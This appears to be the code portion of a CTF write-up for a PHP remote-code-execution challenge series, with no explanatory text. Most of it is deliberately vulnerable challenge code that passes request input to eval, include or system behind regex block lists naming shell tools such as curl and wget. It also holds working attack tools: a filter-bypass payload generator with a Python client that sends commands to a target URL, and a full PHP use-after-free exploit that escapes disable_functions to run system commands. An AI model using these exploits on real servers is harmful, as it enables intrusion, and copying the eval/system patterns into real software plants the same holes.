1
error_reporting(0);
2
if(isset($_GET['c'])){
3
    $c = $_GET['c'];
4
    if(!preg_match("/flag/i", $c)){
5
        eval($c);
6
    }
7

8
}else{
9
    highlight_file(__FILE__);
10
}

1
error_reporting(0);
2
if(isset($_GET['c'])){
3
    $c = $_GET['c'];
4
    if(!preg_match("/flag|system|php/i", $c)){
5
        eval($c);
6
    }
7

8
}else{
9
    highlight_file(__FILE__);
10
}

1
error_reporting(0);
2
if(isset($_GET['c'])){
3
    $c = $_GET['c'];
4
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
5
        eval($c);
6
    }
7

8
}else{
9
    highlight_file(__FILE__);
10
}

1
error_reporting(0);
2
if(isset($_GET['c'])){
3
    $c = $_GET['c'];
4
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
5
        eval($c);
6
    }
7

8
}else{
9
    highlight_file(__FILE__);
10
}

1
error_reporting(0);
2
if(isset($_GET['c'])){
3
    $c = $_GET['c'];
4
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
5
        eval($c);
6
    }
7

8
}else{
9
    highlight_file(__FILE__);
10
}

1
error_reporting(0);
2
if(isset($_GET['c'])){
3
    $c = $_GET['c'];
4
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
5
        eval($c);
6
    }
7

8
}else{
9
    highlight_file(__FILE__);
10
}

1
error_reporting(0);
2
if(isset($_GET['c'])){
3
    $c = $_GET['c'];
4
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
5
        eval($c);
6
    }
7

8
}else{
9
    highlight_file(__FILE__);
10
}

1
error_reporting(0);
2
if(isset($_GET['c'])){
3
    $c = $_GET['c'];
4
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
5
        eval($c);
6
    }
7

8
}else{
9
    highlight_file(__FILE__);
10
}

1
error_reporting(0);
2
if(isset($_GET['c'])){
3
    $c = $_GET['c'];
4
    if(!preg_match("/flag/i", $c)){
5
        include($c);
6
        echo $flag;
7

8
    }
9

10
}else{
11
    highlight_file(__FILE__);
12
}

1
//flag in flag.php
2
error_reporting(0);
3
if(isset($_GET['c'])){
4
    $c = $_GET['c'];
5
    if(!preg_match("/flag|php|file/i", $c)){
6
        include($c);
7
        echo $flag;
8

9
    }
10

11
}else{
12
    highlight_file(__FILE__);
13
}

1
error_reporting(0);
2
if(isset($_GET['c'])){
3
    $c = $_GET['c'];
4
    if(!preg_match("/flag/i", $c)){
5
        include($c.".php");
6
    }
7

8
}else{
9
    highlight_file(__FILE__);
10
}

1
if(isset($_GET['c'])){
2
    $c = $_GET['c'];
3
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
4
        eval($c);
5
    }
6

7
}else{
8
    highlight_file(__FILE__);
9
}

1
if(isset($_POST['c'])){
2
    $c = $_POST['c'];
3
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
4
        eval("echo($c);");
5
    }
6
}else{
7
    highlight_file(__FILE__);
8
}
9
?>

1
<?php
2
/*
3
# -*- coding: utf-8 -*-
4
# @Author: Y4tacker
5
# @Date:   2020-11-21 20:31:22
6
*/
7
//或
8
function orRce($par1, $par2){
9
    $result = (urldecode($par1)|urldecode($par2));
10
    return $result;
11
}
12

13
//异或
14
function xorRce($par1, $par2){
15
    $result = (urldecode($par1)^urldecode($par2));
16
    return $result;
17
}
18

19
//取反
20
function negateRce(){
21
    fwrite(STDOUT,'[+]your function: ');
22

23
    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
24

25
    fwrite(STDOUT,'[+]your command: ');
26

27
    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
28

29
    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
30
}
31

32
//mode=1代表或，2代表异或，3代表取反
33
//取反的话，就没必要生成字符去跑了，因为本来就是不可见字符，直接绕过正则表达式
34
function generate($mode, $preg='/[0-9]/i'){
35
    if ($mode!=3){
36
        $myfile = fopen("rce.txt", "w");
37
        $contents = "";
38

39
        for ($i=0;$i<256;$i++){
40
            for ($j=0;$j<256;$j++){
41
                if ($i<16){
42
                    $hex_i = '0'.dechex($i);
43
                }else{
44
                    $hex_i = dechex($i);
45
                }
46
                if ($j<16){
47
                    $hex_j = '0'.dechex($j);
48
                }else{
49
                    $hex_j = dechex($j);
50
                }
51
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
52
                    echo "";
53
                }else{
54
                    $par1 = "%".$hex_i;
55
                    $par2 = '%'.$hex_j;
56
                    $res = '';
57
                    if ($mode==1){
58
                        $res = orRce($par1, $par2);
59
                    }else if ($mode==2){
60
                        $res = xorRce($par1, $par2);
61
                    }
62

63
                    if (ord($res)>=32&ord($res)<=126){
64
                        $contents=$contents.$res." ".$par1." ".$par2."\n";
65
                    }
66
                }
67
            }
68

69
        }
70
        fwrite($myfile,$contents);
71
        fclose($myfile);
72
    }else{
73
        negateRce();
74
    }
75
}
76
generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
77
//1代表模式，后面的是过滤规则

1
import requests
2
import urllib
3
from sys import *
4
import os
5

6
os.system("php D:\\phpstudy_pro\\WWW\\rce_fuzz.php")  # 没有将php写入环境变量需手动运行
7
if (len(argv) != 2):
8
  print("=" * 50)
9
  print('USER：python exp.py <url>')
10
  print("eg：  python exp.py http://ctf.show/")
11
  print("=" * 50)
12
  exit(0)
13
url = argv[1]
14

15

16
def action(arg):
17
  s1 = ""
18
  s2 = ""
19
  for i in arg:
20
    f = open(r"D:\phpstudy_pro\WWW\rce.txt", "r")//填txt的文件位置
21
    while True:
22
      t = f.readline()
23
      if t == "":
24
        break
25
      if t[0] == i:
26
        # print(i)
27
        s1 += t[2:5]
28
        s2 += t[6:9]
29
        break
30
    f.close()
31
  output = "(\"" + s1 + "\"|\"" + s2 + "\")"
32
  return (output)
33

34

35
while True:
36
  param = action(input("\n[+] your function：")) + action(input("[+] your command："))
37
  data = {
38
    'c': urllib.parse.unquote(param)
39
  }
40
  r = requests.post(url, data=data)
41
  print("\n[*] result:\n" + r.text)

1
if(isset($_GET['c'])){
2
    $c=$_GET['c'];
3
    system($c." >/dev/null 2>&1");
4
}else{
5
    highlight_file(__FILE__);
6
}

1
if(isset($_GET['c'])){
2
    $c=$_GET['c'];
3
    if(!preg_match("/\;|cat/i", $c)){
4
        system($c." >/dev/null 2>&1");
5
    }
6
}else{
7
    highlight_file(__FILE__);
8
}

1
if(isset($_GET['c'])){
2
    $c=$_GET['c'];
3
    if(!preg_match("/;|cat|flag/i", $c)){
4
        system($c." >/dev/null 2>&1");
5
    }
6
}else{
7
    highlight_file(__FILE__);
8
}

1
if(isset($_GET['c'])){
2
    $c=$_GET['c'];
3
    if(!preg_match("/\;|cat|flag| /i", $c)){
4
        system($c." >/dev/null 2>&1");
5
    }
6
}else{
7
    highlight_file(__FILE__);
8
}

1
if(isset($_GET['c'])){
2
    $c=$_GET['c'];
3
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
4
        system($c." >/dev/null 2>&1");
5
    }
6
}else{
7
    highlight_file(__FILE__);
8
}

1
if(isset($_GET['c'])){
2
    $c=$_GET['c'];
3
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
4
        system($c." >/dev/null 2>&1");
5
    }
6
}else{
7
    highlight_file(__FILE__);
8
}

1
if(isset($_GET['c'])){
2
    $c=$_GET['c'];
3
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
4
        system($c." >/dev/null 2>&1");
5
    }
6
}else{
7
    highlight_file(__FILE__);
8
}

1
if(isset($_GET['c'])){
2
    $c=$_GET['c'];
3
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
4
        system($c." >/dev/null 2>&1");
5
    }
6
}else{
7
    highlight_file(__FILE__);
8
}

1
if(isset($_GET['c'])){
2
    $c=$_GET['c'];
3
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
4
        system($c." >/dev/null 2>&1");
5
    }
6
}else{
7
    highlight_file(__FILE__);
8
}

1
if(isset($_GET['c'])){
2
    $c=$_GET['c'];
3
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
4
        system($c." >/dev/null 2>&1");
5
    }
6
}else{
7
    highlight_file(__FILE__);
8
}

1
if(isset($_GET['c'])){
2
    $c=$_GET['c'];
3
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
4
        system($c." >/dev/null 2>&1");
5
    }
6
}else{
7
    highlight_file(__FILE__);
8
}

1
if(isset($_GET['c'])){
2
    $c=$_GET['c'];
3
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
4
        echo($c);
5
        $d = system($c);
6
        echo "<br>".$d;
7
    }else{
8
        echo 'no';
9
    }
10
}else{
11
    highlight_file(__FILE__);
12
}

1
if(isset($_GET['c'])){
2
    $c=$_GET['c'];
3
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
4
        system($c);
5
    }
6
}else{
7
    highlight_file(__FILE__);
8
}

1
if(isset($_GET['c'])){
2
    $c=$_GET['c'];
3
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
4
        system($c);
5
    }
6
}else{
7
    highlight_file(__FILE__);
8
}

1
if(isset($_GET['c'])){
2
    $c=$_GET['c'];
3
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
4
        system($c);
5
    }
6
}else{
7
    highlight_file(__FILE__);
8
}

1
//flag in 36.php
2
if(isset($_GET['c'])){
3
    $c=$_GET['c'];
4
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
5
        system("cat ".$c.".php");
6
    }
7
}else{
8
    highlight_file(__FILE__);
9
}

1
if(isset($_POST['c'])){
2
        $c= $_POST['c'];
3
        eval($c);
4
}else{
5
    highlight_file(__FILE__);
6
}

1
if(isset($_POST['c'])){
2
        $c= $_POST['c'];
3
        eval($c);
4
}else{
5
    highlight_file(__FILE__);
6
}

1
if(isset($_POST['c'])){
2
        $c= $_POST['c'];
3
        eval($c);
4
}else{
5
    highlight_file(__FILE__);
6
}

1
if(isset($_POST['c'])){
2
        $c= $_POST['c'];
3
        eval($c);
4
}else{
5
    highlight_file(__FILE__);
6
}

1
if(isset($_POST['c'])){
2
        $c= $_POST['c'];
3
        eval($c);
4
}else{
5
    highlight_file(__FILE__);
6
}

1
if(isset($_POST['c'])){
2
        $c= $_POST['c'];
3
        eval($c);
4
}else{
5
    highlight_file(__FILE__);
6
}

1
if(isset($_POST['c'])){
2
        $c= $_POST['c'];
3
        eval($c);
4
}else{
5
    highlight_file(__FILE__);
6
}

1
if(isset($_POST['c'])){
2
        $c= $_POST['c'];
3
        eval($c);
4
}else{
5
    highlight_file(__FILE__);
6
}

1
if(isset($_POST['c'])){
2
        $c= $_POST['c'];
3
        eval($c);
4
}else{
5
    highlight_file(__FILE__);
6
}

1
if(isset($_POST['c'])){
2
        $c= $_POST['c'];
3
        eval($c);
4
}else{
5
    highlight_file(__FILE__);
6
}

1
error_reporting(0);
2
ini_set('display_errors', 0);
3
// 你们在炫技吗？
4
if(isset($_POST['c'])){
5
        $c= $_POST['c'];
6
        eval($c);
7
        $s = ob_get_contents();
8
        ob_end_clean();
9
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
10
}else{
11
    highlight_file(__FILE__);
12
}

1
$s = ob_get_contents();
2
ob_end_clean();

1
echo preg_replace("/[0-9]|[a-z]/i","?",$s);

1
exit();
2
die();

1
error_reporting(0);
2
ini_set('display_errors', 0);
3
// 你们在炫技吗？
4
if(isset($_POST['c'])){
5
        $c= $_POST['c'];
6
        eval($c);
7
        $s = ob_get_contents();
8
        ob_end_clean();
9
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
10
}else{
11
    highlight_file(__FILE__);
12
}

1
<?php
2

3
function ctfshow($cmd) {
4
    global $abc, $helper, $backtrace;
5

6
    class Vuln {
7
        public $a;
8
        public function __destruct() {
9
            global $backtrace;
10
            unset($this->a);
11
            $backtrace = (new Exception)->getTrace();
12
            if(!isset($backtrace[1]['args'])) {
13
                $backtrace = debug_backtrace();
14
            }
15
        }
16
    }
17

18
    class Helper {
19
        public $a, $b, $c, $d;
20
    }
21

22
    function str2ptr(&$str, $p = 0, $s = 8) {
23
        $address = 0;
24
        for($j = $s-1; $j >= 0; $j--) {
25
            $address <<= 8;
26
            $address |= ord($str[$p+$j]);
27
        }
28
        return $address;
29
    }
30

31
    function ptr2str($ptr, $m = 8) {
32
        $out = "";
33
        for ($i=0; $i < $m; $i++) {
34
            $out .= sprintf("%c",($ptr & 0xff));
35
            $ptr >>= 8;
36
        }
37
        return $out;
38
    }
39

40
    function write(&$str, $p, $v, $n = 8) {
41
        $i = 0;
42
        for($i = 0; $i < $n; $i++) {
43
            $str[$p + $i] = sprintf("%c",($v & 0xff));
44
            $v >>= 8;
45
        }
46
    }
47

48
    function leak($addr, $p = 0, $s = 8) {
49
        global $abc, $helper;
50
        write($abc, 0x68, $addr + $p - 0x10);
51
        $leak = strlen($helper->a);
52
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
53
        return $leak;
54
    }
55

56
    function parse_elf($base) {
57
        $e_type = leak($base, 0x10, 2);
58

59
        $e_phoff = leak($base, 0x20);
60
        $e_phentsize = leak($base, 0x36, 2);
61
        $e_phnum = leak($base, 0x38, 2);
62

63
        for($i = 0; $i < $e_phnum; $i++) {
64
            $header = $base + $e_phoff + $i * $e_phentsize;
65
            $p_type  = leak($header, 0, 4);
66
            $p_flags = leak($header, 4, 4);
67
            $p_vaddr = leak($header, 0x10);
68
            $p_memsz = leak($header, 0x28);
69

70
            if($p_type == 1 && $p_flags == 6) {
71

72
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
73
                $data_size = $p_memsz;
74
            } else if($p_type == 1 && $p_flags == 5) {
75
                $text_size = $p_memsz;
76
            }
77
        }
78

79
        if(!$data_addr || !$text_size || !$data_size)
80
            return false;
81

82
        return [$data_addr, $text_size, $data_size];
83
    }
84

85
    function get_basic_funcs($base, $elf) {
86
        list($data_addr, $text_size, $data_size) = $elf;
87
        for($i = 0; $i < $data_size / 8; $i++) {
88
            $leak = leak($data_addr, $i * 8);
89
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
90
                $deref = leak($leak);
91

92
                if($deref != 0x746e6174736e6f63)
93
                    continue;
94
            } else continue;
95

96
            $leak = leak($data_addr, ($i + 4) * 8);
97
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
98
                $deref = leak($leak);
99

100
                if($deref != 0x786568326e6962)
101
                    continue;
102
            } else continue;
103

104
            return $data_addr + $i * 8;
105
        }
106
    }
107

108
    function get_binary_base($binary_leak) {
109
        $base = 0;
110
        $start = $binary_leak & 0xfffffffffffff000;
111
        for($i = 0; $i < 0x1000; $i++) {
112
            $addr = $start - 0x1000 * $i;
113
            $leak = leak($addr, 0, 7);
114
            if($leak == 0x10102464c457f) {
115
                return $addr;
116
            }
117
        }
118
    }
119

120
    function get_system($basic_funcs) {
121
        $addr = $basic_funcs;
122
        do {
123
            $f_entry = leak($addr);
124
            $f_name = leak($f_entry, 0, 6);
125

126
            if($f_name == 0x6d6574737973) {
127
                return leak($addr + 8);
128
            }
129
            $addr += 0x20;
130
        } while($f_entry != 0);
131
        return false;
132
    }
133

134
    function trigger_uaf($arg) {
135

136
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
137
        $vuln = new Vuln();
138
        $vuln->a = $arg;
139
    }
140

141
    if(stristr(PHP_OS, 'WIN')) {
142
        die('This PoC is for *nix systems only.');
143
    }
144

145
    $n_alloc = 10;
146
    $contiguous = [];
147
    for($i = 0; $i < $n_alloc; $i++)
148
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
149

150
    trigger_uaf('x');
151
    $abc = $backtrace[1]['args'][0];
152

153
    $helper = new Helper;
154
    $helper->b = function ($x) { };
155

156
    if(strlen($abc) == 79 || strlen($abc) == 0) {
157
        die("UAF failed");
158
    }
159

160
    $closure_handlers = str2ptr($abc, 0);
161
    $php_heap = str2ptr($abc, 0x58);
162
    $abc_addr = $php_heap - 0xc8;
163

164
    write($abc, 0x60, 2);
165
    write($abc, 0x70, 6);
166

167
    write($abc, 0x10, $abc_addr + 0x60);
168
    write($abc, 0x18, 0xa);
169

170
    $closure_obj = str2ptr($abc, 0x20);
171

172
    $binary_leak = leak($closure_handlers, 8);
173
    if(!($base = get_binary_base($binary_leak))) {
174
        die("Couldn't determine binary base address");
175
    }
176

177
    if(!($elf = parse_elf($base))) {
178
        die("Couldn't parse ELF header");
179
    }
180

181
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
182
        die("Couldn't get basic_functions address");
183
    }
184

185
    if(!($zif_system = get_system($basic_funcs))) {
186
        die("Couldn't get zif_system address");
187
    }
188

189

190
    $fake_obj_offset = 0xd0;
191
    for($i = 0; $i < 0x110; $i += 8) {
192
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
193
    }
194

195
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
196
    write($abc, 0xd0 + 0x38, 1, 4);
197
    write($abc, 0xd0 + 0x68, $zif_system);
198

199
    ($helper->b)($cmd);
200
    exit();
201
}
202

203
ctfshow("cat /flag0.txt");ob_end_flush();
204
?>